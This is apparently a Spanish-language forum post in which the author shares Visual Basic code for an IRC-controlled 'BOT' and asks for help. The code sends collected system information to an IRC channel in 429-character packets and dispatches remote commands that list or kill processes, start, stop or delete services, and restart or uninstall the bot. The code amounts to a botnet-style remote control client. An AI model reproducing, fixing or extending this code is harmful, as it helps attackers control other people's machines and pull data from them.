Código
Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String) Dim lData As Long Dim lPack As Long Dim sData As String 'Total_Data = "[E]" & Huffman.EncodeString(Total_Data) lData = Len(Total_Data) If s_Active = True Then If lData > 429 Then lPack = (Len(Total_Data) / 429) + 1 While p < lPack If s_Active = True Then If p = 0 Then sData = Mid$(Total_Data, 1, 429) Else sData = Mid$(Total_Data, p * 429, 429) End If Wait 2 mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf p = p + 1 DoEvents End If Wend Else Wait 2 mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf End If End If p = 0 End Function
Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :
Código
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long If p = 0 Then Call KillTimer(hWnd, uElapse) Select Case uElapse Case 1: Sender_Info (s_Chan) Case 2: Sender_TotalInfo (s_Chan) Case 3: Sender_Process (s_Chan) Case 4: Terminate_Process (Command(2)) Case 5: Sender_Services (s_Chan) Case 6: Start_Service (Command(2)) Case 7: Stop_Service (Command(2)) Case 8: Delete_Service (Command(2)) Case 9: Restart_BOT Case 10: Close_BOT Case 11: Uninstall_BOT Case 12: Sender_Windows (s_Chan) 'Case 13: Close_Window (Command(2)) 'Case 14: Hide_Window (Command(2)) 'Case 15: Maximize_Window (Command(2)) 'Case 16: Minimize_Window (Command(2)) 'Case 17: Show_Window (Command(2)) End Select End If End Function
Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.
Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.
Saludos! =)